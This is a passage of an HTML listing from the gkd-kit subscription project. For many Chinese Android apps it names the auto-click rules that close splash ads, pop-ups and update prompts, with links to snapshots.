href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.copymanga.app.ts">com.copymanga.app</a> - 拷貝漫畫</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12504489">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12504507">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12504492">快照-2</a></li> </ul> </li> <li><strong>内部弹窗广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12504486">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12504488">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12504501">快照-2</a></li> <li><a href="https://gkd-kit.gitee.io/import/12504520">快照-3</a></li> <li><a href="https://gkd-kit.gitee.io/import/12661019">快照-4</a></li> </ul> </li> <li><strong>加入书架按钮下面的广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12504525">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.cs_credit_bank.ts">com.cs_credit_bank</a> - 发现精彩</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.songe.li/import/12536487">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.ct.client.ts">com.ct.client</a> - 中国电信</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.songe.li/import/12508958">快照-0</a></li> </ul> </li> <li>默认禁用 <strong>用户引导</strong> <ul> <li><a href="https://gkd-kit.songe.li/import/12508971">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.cubic.autohome.ts">com.cubic.autohome</a> - 汽车之家</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12660744">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.daimajia.gold.ts">com.daimajia.gold</a> - 稀土掘金</h3> <ul> <li><strong>开屏广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.daysko.safp.ts">com.daysko.safp</a> - 7天澳門統考</h3> <ul> <li><strong>谷歌广告-全屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642909">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12643316">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12643032">快照-2</a></li> <li><a href="https://gkd-kit.gitee.io/import/12643039">快照-3</a></li> <li><a href="https://gkd-kit.gitee.io/import/12643246">快照-4</a></li> </ul> </li> <li><strong>谷歌广告-视频广告</strong> - 点击跳过视频-点击关闭按钮 <ul> <li><a href="https://gkd-kit.gitee.io/import/12642913">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12642932">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12642952">快照-2</a></li> <li><a href="https://gkd-kit.gitee.io/import/12642983">快照-3</a></li> </ul> </li> <li><strong>谷歌广告-页面底部广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642993">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12643229">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12643001">快照-2</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.dianping.v1.ts">com.dianping.v1</a> - 大众点评</h3> <ul> <li><strong>开屏广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.dongqiudi.news.ts">com.dongqiudi.news</a> - 懂球帝</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12620568">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12620577">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12621997">快照-2</a></li> <li><a href="https://gkd-kit.gitee.io/import/12620583">快照-3</a></li> <li><a href="https://gkd-kit.gitee.io/import/12621953">快照-4</a></li> </ul> </li> <li><strong>青少年模式弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12621980">快照-0</a></li> </ul> </li> <li><strong>更新弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12620586">快照-0</a></li> </ul> </li> <li><strong>穿山甲广告弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12620588">快照-0</a></li> </ul> </li> <li>默认禁用 <strong>首页信息流广告</strong> - 点击广告卡片x关闭按钮-关闭反馈理由弹窗 <ul> <li><a href="https://gkd-kit.gitee.io/import/12620656">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12620654">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12620788">快照-2</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.douban.frodo.ts">com.douban.frodo</a> - 豆瓣</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12505151">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12505152">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12506164">快照-2</a></li> </ul> </li> <li>默认禁用 <strong>不同步到我的动态</strong> - 标记看过时,不同步到我的动态 <ul> <li><a href="https://gkd-kit.gitee.io/import/12508777">快照-0</a></li> </ul> </li> <li><strong>剧照广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12509475">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12509476">快照-1</a></li> </ul> </li> <li>默认禁用 <strong>信息流广告</strong> - 首页动态/推荐,帖子底部,点击广告关闭后出现关闭原因底部菜单-选择不感兴趣 <ul> <li><a href="https://gkd-kit.gitee.io/import/12547964">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12548011">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12548046">快照-2</a></li> <li><a href="https://gkd-kit.gitee.io/import/12548064">快照-3</a></li> <li><a href="https://gkd-kit.gitee.io/import/12548450">快照-4</a></li> </ul> </li> <li><strong>自动选择不感兴趣弹窗</strong> - 广告关闭原因底部菜单-选择不感兴趣 <ul> <li><a href="https://gkd-kit.gitee.io/import/12548016">快照-0</a></li> </ul> </li> <li><strong>卡片广告</strong> - 书影音-卡片广告-点击卡片右下角"广告"文字 <ul> <li><a href="https://gkd-kit.gitee.io/import/12548160">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12548116">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12548131">快照-2</a></li> </ul> </li> <li><strong>关闭评分反馈弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12548314">快照-0</a></li> </ul> </li> <li><strong>影评广告卡片</strong> - 影评顶部评论区顶部广告卡片-点击右下角x关闭广告 <ul> <li><a href="https://gkd-kit.gitee.io/import/12548476">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.dragon.read.ts">com.dragon.read</a> - 番茄免费小说</h3> <ul> <li><strong>阅读页面底部广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.duokan.phone.remotecontroller.ts">com.duokan.phone.remotecontroller</a> - 万能遥控</h3> <ul> <li><strong>底部横幅广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.duowan.kiwi.ts">com.duowan.kiwi</a> - 虎牙直播</h3> <ul> <li><strong>开屏广告</strong></li> <li><strong>青少年弹窗</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.eastmoney.android.fund.ts">com.eastmoney.android.fund</a> - 天天基金</h3> <ul> <li><strong>自选页面广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642387">快照-0</a></li> </ul> </li> <li>默认禁用 <strong>自选页面缩写提示信息</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642387">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.estrongs.android.pop.ts">com.estrongs.android.pop</a> - ES文件浏览器</h3> <ul> <li><strong>内部弹窗广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12509667">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12509669">快照-1</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.google.android.youtube.ts">com.google.android.youtube</a> - youtube</h3> <ul> <li><strong>视频播放-跳过广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12565261">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.gotokeep.keep.ts">com.gotokeep.keep</a> - Keep</h3> <ul> <li><strong>开屏广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.greenpoint.android.mc10086.activity.ts">com.greenpoint.android.mc10086.activity</a> - 中国移动</h3> <ul> <li><strong>开屏广告</strong></li> <li><strong>关闭更新弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12534264">快照-0</a></li> </ul> </li> <li><strong>首页广告弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12662361">快照-0</a></li> </ul> </li> <li><strong>请求推送通知弹窗</strong> - 请求推送通知弹窗,点击取消 <ul> <li><a href="https://gkd-kit.gitee.io/import/12662213">快照-0</a></li> </ul> </li> <li><strong>请求获取剪贴板权限弹窗</strong> - 请求获取剪贴板权限弹窗,点击不允许 <ul> <li><a href="https://gkd-kit.gitee.io/import/12662251">快照-0</a></li> </ul> </li> <li><strong>右侧悬浮小图标</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12662265">快照-0</a></li> </ul> </li> <li><strong>请求好评弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12662345">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.handsgo.jiakao.android.ts">com.handsgo.jiakao.android</a> - 驾考宝典</h3> <ul> <li><strong>开屏广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.henzanapp.miaomiaozhe.ts">com.henzanapp.miaomiaozhe</a> - 喵喵折</h3> <ul> <li><strong>更新弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12649457">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.hexin.plat.android.ts">com.hexin.plat.android</a> - 同花顺</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12662631">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12662620">快照-1</a></li> </ul> </li> <li><strong>信息流广告</strong> - 信息流广告-点击x按钮-点击内容质量差 <ul> <li><a href="https://gkd-kit.gitee.io/import/12662754">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12662781">快照-1</a></li> </ul> </li> <li><strong>指数页面-底部产品广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12662656">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.heytap.market.ts">com.heytap.market</a> - 软件商店</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12506561">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.hose.ekuaibao.ts">com.hose.ekuaibao</a> - 易快报</h3> <ul> <li><strong>首页-横幅广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12649616">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.huawei.android.thememanager.ts">com.huawei.android.thememanager</a> - 华为主题</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12657379">快照-0</a></li> </ul> </li> <li><strong>主题详情页“下应用领主题”横幅</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12647175">快照-0</a></li> </ul> </li> <li><strong>主题详情页广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12647248">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12647292">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12647367">快照-2</a></li> </ul> </li> <li><strong>主题详情页广告关闭弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12647268">快照-0</a></li> </ul> </li> <li><strong>主题详情信息流广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12647311">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12647346">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12647326">快照-2</a></li> </ul> </li> <li><strong>分类页“免费领取”</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12647393">快照-0</a></li> </ul> </li> <li><strong>主页面(推荐、分类、我的)广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12647614">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12647653">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12647650">快照-2</a></li> <li><a href="https://gkd-kit.gitee.io/import/12657822">快照-3</a></li> <li><a href="https://gkd-kit.gitee.io/import/12647655">快照-4</a></li> </ul> </li> <li>默认禁用 <strong>首页活动弹窗-默认禁用</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12657939">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.hunantv.imgo.activity.ts">com.hunantv.imgo.activity</a> - 芒果TV</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/38517192/7202bd0a-a5c6-4ec4-9547-bf4ca6d372d0">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/38517192/7202bd0a-a5c6-4ec4-9547-bf4ca6d372d0">快照-1</a></li> </ul> </li> <li><strong>关闭青少年模式提示</strong></li> <li><strong>首页推荐流-卡片广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/38517192/40fb71ad-01a5-4420-9150-88172ff8a3bf">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/38517192/b74150b5-8e9f-4cbb-86a7-722fc739a1b8">快照-1</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.hupu.games.ts">com.hupu.games</a> - 虎扑</h3> <ul> <li><strong>开屏广告</strong> - 开屏广告,任意界面切回APP广告 <ul> <li><a href="https://gkd-kit.gitee.io/import/12509060">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12510962">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12567546">快照-2</a></li> <li><a href="https://gkd-kit.gitee.io/import/12567546">快照-3</a></li> </ul> </li> <li><strong>推荐流广告</strong> - 点击卡片右上角广告文字,出现广告反馈,点击屏蔽该广告 <ul> <li><a href="https://gkd-kit.gitee.io/import/12511010">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12534848">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12511005">快照-2</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.hupu.shihuo.ts">com.hupu.shihuo</a> - 识货</h3> <ul> <li><strong>开屏广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.hxak.liangongbao.ts">com.hxak.liangongbao</a> - 链工宝</h3> <ul> <li><strong>开屏广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.icbc.ts">com.icbc</a> - 中国工商银行</h3> <ul> <li><strong>第一次启动提示</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.intsig.camscanner.ts">com.intsig.camscanner</a> - 扫描全能王</h3> <ul> <li><strong>开屏vip提示</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.iqiyi.hotchat.ts">com.iqiyi.hotchat</a> - 爱奇艺热聊</h3> <ul> <li><strong>开屏广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.jdcloud.mt.smartrouter.ts">com.jdcloud.mt.smartrouter</a> - 京东云无线宝</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.songe.li/import/12535237">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.jim.qrcode.ts">com.jim.qrcode</a> - 随便扫</h3> <ul> <li><strong>顶部广告卡片</strong> - 点击卡片右上角关闭按钮 <ul> <li><a href="https://gkd-kit.gitee.io/import/12606861">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12606862">快照-1</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.jingdong.app.mall.ts">com.jingdong.app.mall</a> - 京东</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12519430">快照-0</a></li> </ul> </li> <li>默认禁用 <strong>购物车界面-砸金蛋</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642266">快照-0</a></li> </ul> </li> <li>默认禁用 <strong>我的界面-参与调研</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642270">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.jingyao.easybike.ts">com.jingyao.easybike</a> - 哈啰</h3> <ul> <li><strong>应用内活动、广告弹窗(大部分)</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12650028">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12650090">快照-1</a></li> </ul> </li> <li><strong>哈啰智能电动车-广告弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12650163">快照-0</a></li> </ul> </li> <li><strong>右侧悬浮广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12650071">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.jxedt.ts">com.jxedt</a> - 驾校一点通</h3> <ul> <li><strong>首页广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12605051">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12605053">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12605057">快照-2</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.jym.mall.ts">com.jym.mall</a> - 交易猫</h3> <ul> <li><strong>升级弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12496974">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.kmxs.reader.ts">com.kmxs.reader</a> - 七猫免费小说</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12640282">快照-0</a></li> </ul> </li> <li><strong>青少年模式弹窗</strong></li> <li><strong>更新弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12641338">快照-0</a></li> </ul> </li> <li><strong>阅读页面底部广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12640296">快照-0</a></li> </ul> </li> <li><strong>阅读结束后显示的广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12640303">快照-0</a></li> </ul> </li> <li>默认禁用 <strong>签到弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12640320">快照-0</a></li> </ul> </li> <li>默认禁用 <strong>右侧悬浮红包</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12640287">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.koudai.weidian.buyer.ts">com.koudai.weidian.buyer</a> - 微店</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.songe.li/import/12506297">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.kuaikan.comic.ts">com.kuaikan.comic</a> - 快看漫画</h3> <ul> <li><strong>开屏广告</strong></li> <li><strong>关闭青少年模式弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12565678">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.kuaishou.nebula.ts">com.kuaishou.nebula</a> - 快手极速版</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12519389">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.kugou.android.ts">com.kugou.android</a> - 酷狗音乐</h3> <ul> <li><strong>开屏广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.kwai.videoeditor.ts">com.kwai.videoeditor</a> - 快影</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/38517192/d12c3b08-8233-4584-b2b9-595ebb4ce665">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.lphtsccft.ts">com.lphtsccft</a> - 涨乐财富通</h3> <ul> <li><strong>首页弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12646899">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12646925">快照-1</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.lucky.luckyclient.ts">com.lucky.luckyclient</a> - 瑞幸咖啡</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.songe.li/import/12508764">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.luna.music.ts">com.luna.music</a> - 汽水音乐</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12514049">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.m17qcc.mm.ts">com.m17qcc.mm</a> - 青创网</h3> <ul> <li><strong>更新弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642297">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.maque.app.ts">com.maque.app</a> - 麻雀省钱</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12641032">快照-0</a></li> </ul> </li> <li><strong>首页活动弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12640100">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.miaoying.appmy.cs.ts">com.miaoying.appmy.cs</a> - 新小财神影视</h3> <ul> <li><strong>关闭公告栏</strong> - APP启动时出现的公告栏 <ul> <li><a href="https://gkd-kit.gitee.io/import/12522872">快照-0</a></li> </ul> </li> <li><strong>内部弹窗广告</strong> - 点击右上角x按钮 <ul> <li><a href="https://gkd-kit.gitee.io/import/12565637">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12522881">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12565480">快照-2</a></li> <li><a href="https://gkd-kit.gitee.io/import/12565507">快照-3</a></li> <li><a href="https://gkd-kit.gitee.io/import/12565475">快照-4</a></li> <li><a href="https://gkd-kit.gitee.io/import/12565510">快照-5</a></li> <li><a href="https://gkd-kit.gitee.io/import/12565522">快照-6</a></li> </ul> </li> <li><strong>内部弹窗广告-2</strong> - 点击右上角文字[跳过],此广告相同节点存在两种卡片,一种能准确关闭,另外一种(出现较少)节点位置与实际位置不同故不能关闭,如误触可关闭 <ul> <li><a href="https://gkd-kit.gitee.io/import/12565375">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12565408">快照-1</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.mihoyo.hyperion.ts">com.mihoyo.hyperion</a> - 米游社</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12482738">快照-0</a></li> </ul> </li> <li><strong>青少年模式</strong> - 关闭青少年模式提醒弹窗</li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.miui.player.ts">com.miui.player</a> - 小米音乐</h3> <ul> <li><strong>开屏广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.miui.systemAdSolution.ts">com.miui.systemAdSolution</a> - miui系统广告</h3> <ul> <li><strong>任意app开屏广告</strong> - 此广告组件可以使用ADB卸载</li> <li><strong>miui-为什么不希望看到这条推广</strong> - 关闭这个提示</li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.mt.mtxx.mtxx.ts">com.mt.mtxx.mtxx</a> - 美图秀秀</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/38517192/1f56aa17-c290-4e56-b6fb-a94bc778448b">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.mxtech.videoplayer.ad.ts">com.mxtech.videoplayer.ad</a> - MX 播放器</h3> <ul> <li><strong>谷歌广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642204">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.netease.cloudmusic.ts">com.netease.cloudmusic</a> - 网易云音乐</h3> <ul> <li><strong>开屏广告</strong></li> <li><strong>广告卡片</strong> <ul> <li><a href="https://gkd-kit.songe.li/import/38517192/fea3449b-d642-4d75-929f-490421cc9080">快照-0</a></li> <li><a href="https://gkd-kit.songe.li/import/38517192/a977b19d-2b3c-43df-ba01-63e7cbbb3908">快照-1</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.netease.mail.ts">com.netease.mail</a> - 网易邮箱大师</h3> <ul> <li><strong>更新弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12664070">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.netease.newsreader.activity.ts">com.netease.newsreader.activity</a> - 网易新闻</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12639864">快照-0</a></li> </ul> </li> <li><strong>版本更新弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12639884">快照-0</a></li> </ul> </li> <li><strong>系统推送弹窗</strong> - 检测到未开启系统推送-点击暂不开启 <ul> <li><a href="https://gkd-kit.gitee.io/import/12639800">快照-0</a></li> </ul> </li> <li><strong>系统推送提示信息</strong> - 点击顶部提醒右侧x按钮 <ul> <li><a href="https://gkd-kit.gitee.io/import/12639869">快照-0</a></li> </ul> </li> <li>默认禁用 <strong>首页信息流广告</strong> - 点击广告卡片x关闭按钮-关闭反馈理由弹窗 <ul> <li><a href="https://gkd-kit.gitee.io/import/12639752">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12639751">快照-1</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.njh.biubiu.ts">com.njh.biubiu</a> - biubiu加速器</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12512845">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.onecard.hainan.ts">com.onecard.hainan</a> - 海南一卡通</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12662092">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12662129">快照-1</a></li> </ul> </li> <li><strong>更新弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12662114">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12662136">快照-1</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.pingan.lifecircle.ts">com.pingan.lifecircle</a> - 平安好生活</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12567724">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.qidian.QDReader.ts">com.qidian.QDReader</a> - 起点读书</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12508836">快照-0</a></li> </ul> </li> <li><strong>更新弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12641026">快照-0</a></li> </ul> </li> <li><strong>青少年模式弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12640241">快照-0</a></li> </ul> </li> <li><strong>活动弹窗</strong> <ul> <li><a 